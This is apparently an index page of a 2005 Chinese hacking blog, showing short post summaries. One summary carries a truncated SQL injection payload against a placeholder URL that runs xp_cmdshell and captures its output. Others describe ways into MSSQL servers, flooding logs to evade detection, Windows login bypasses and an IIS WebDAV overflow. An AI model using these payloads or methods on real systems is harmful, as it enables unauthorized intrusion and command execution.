摘要：
tasklist里的一些小命令还是挺有意思的比如说/m列举出dll文件/svc列举出对应的服务 阅读全文
posted @ 2005-05-24 00:19 isno's world 阅读(494) 评论(0) 推荐(0)
摘要：
很多朋友在遇到web服务器与mssql服务器不同台的时候,用户又为dbo时立刻选择放弃.事实上往往忽略了一点,mssql服务器开放80端口的可能性很大.有的是供内部管理使用,有的是安装完操作系统默认安装IIS没有删掉..根据我的经验事实上有80%以上的提供数据库服务的服务器开放了80口..当然这时候可能会遇到一个难题.IP的判断.1.数据库服务器放在内网. (无法利用)2.数据库服务器放在公网.但... 阅读全文
posted @ 2005-05-23 23:55 isno's world 阅读(742) 评论(0) 推荐(0)
摘要：
创建表，加了个自动编号的ID,并把xp_cmdshell的回显内容导入临时表http://www.xxx.com/aa.asp?=1 ;drop TABLE D99_CMD; create TABLE D99_CMD([Data][varchar](1000),ID int NOT NULL IDENTITY (1,1));insert D99_CMD exec master.dbo.xp_cmd... 阅读全文
posted @ 2005-05-17 00:41 isno's world 阅读(1525) 评论(2) 推荐(0)
摘要：
不知不觉做软件已经做了十年，有成功的喜悦，也有失败的痛苦，但总不敢称自己是高手，因为和我心目中真正的高手们比起来，还差的太远。世界上并没有成为高手的捷径，但一些基本原则是可以遵循的。 1. 扎实的基础。数据结构、离散数学、编译原理，这些是所有计算机科学的基础，如果不掌握他们，很难写出高水平的程序。据我的观察，学计算机专业的人比学其他专业的人更能写出高质量的软件。程序人人都会写，但当你发现写到一定程... 阅读全文
posted @ 2005-05-13 01:41 isno's world 阅读(620) 评论(0) 推荐(0)
摘要：
如果站上放了个大文件，那就要小心了，很容易被别人DDOS，以我的影音传送带为例，现在已经是128线程了。只要线程足够大，你的站点永远无法访问。这让我想起了别的方法，比如防火墙阻挡吧，虽然LOG能记录黑客的攻击，但是当你的硬盘填满的时候，会不会还能记录LOG呢？还有一些记录SQL注入的东西，当然也是用数据库来记录的，用同样的方法，让你的数据库足够大，嘿嘿，后面的攻击就可以轻松突破了。这些当然是理论上... 阅读全文
posted @ 2005-05-12 22:01 isno's world 阅读(591) 评论(0) 推荐(0)
摘要：
老的方法我就不说了。也不实际我来说说新的吧 1 很多人没有把administrator设置密码，所以我们很容易通过administrator/""进入系统。2000 直接进去xp 按两下ctrl+alt+del就可以了2 用windows登陆密码破解器运行后装在软盘中。如果对方电脑没有软驱，我建议把自己的软驱扯下来，装到别人机器上（这样太专业了，不过没办法） 阅读全文
posted @ 2005-05-12 16:21 isno's world 阅读(1022) 评论(1) 推荐(0)
摘要：
发现一个站：www.123cha.com最近有一个查询某站的二级站点，其实就是在这里查的。里面有个“Alexa排名资料”站 Alexa 流量、访问量、页面浏览量查询 Alexa 排名是目前常引用的用来评价某一网站访问量的一个指标。事实上，Alexa 排名是根据对用户下载并安装了 Alexa Tools Bar 嵌入到 IE 等浏览器，从而监控其访问的网站数据进行统计的，因此，其排名数据并不具有绝... 阅读全文
posted @ 2005-05-12 15:51 isno's world 阅读(662) 评论(0) 推荐(0)
摘要：
今天在godexp站上看到一些被黑的站点,jp的.一看全站都是html的,而且主机上没有别的站,旁注也是不可能的而且连二级站点都没有郁闷,只有两种可能了1 ftp密码被破解2系统漏洞后来一问spirit,当时就傻了,原来是利用最新的iis5.0webdav溢出工具来的真是郁闷! 搞脚本那么久了,连基本的入侵都忘记了. 阅读全文
posted @ 2005-05-12 15:20 isno's world 阅读(601) 评论(0) 推荐(0)
浙公网安备 33010602011771号